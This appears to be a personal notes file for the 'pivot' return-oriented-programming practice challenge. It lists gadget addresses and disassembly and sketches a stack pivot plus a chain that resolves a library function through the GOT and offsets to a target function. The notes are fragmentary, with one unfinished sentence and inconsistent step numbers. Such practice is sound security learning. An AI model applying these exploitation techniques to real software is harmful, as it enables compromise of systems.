summaryrefslogtreecommitdiff
path: root/x86_64/pivot/gadgets
blob: 7e442a8283ee19f8287259572b663e4fc8fa322b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Goal is to call ret2win from libpivot
we don't know where ret2win is, but we do know where foothold_function is

pivot is at 0x7f2041e78f10
0x0000000000400720 : foothold_function@plt
0x000000000000096a : foothold_function

resolve ret2win:
1:  resolve foothold_function
    resolved foothold: [0x400720 + 0x20091a]
    offset of foothold vs 

2: ret2win = [0x400720 + 0x20091a] + 279 

64 rop chains possible at 0x7eff3d368f10
6 rop chains possible at buffer overflow

0x00000000004007c8 : pop rbp ; ret
0x00000000004007c1 : jmp rax

00000000004009bb <usefulGadgets>:
  4009bb:	58                   	pop    rax
  4009bc:	c3                   	ret    

  4009bd:	48 94                	xchg   rsp,rax
  4009bf:	c3                   	ret    

  4009c0:	48 8b 00             	mov    rax,QWORD PTR [rax]
  4009c3:	c3                   	ret    

  4009c4:	48 01 e8             	add    rax,rbp
  4009c7:	c3                   	ret    

1: resolve foothold (2)
4: pop rax (rax is 0x400720 + 0x20091a)
5: pop rbp (rpb is 279)
6: add rax, rbp
7: mov rax, [rax]
8: jmp rax


2: pop rax          (4)
3: xchg rsp,rax     (5)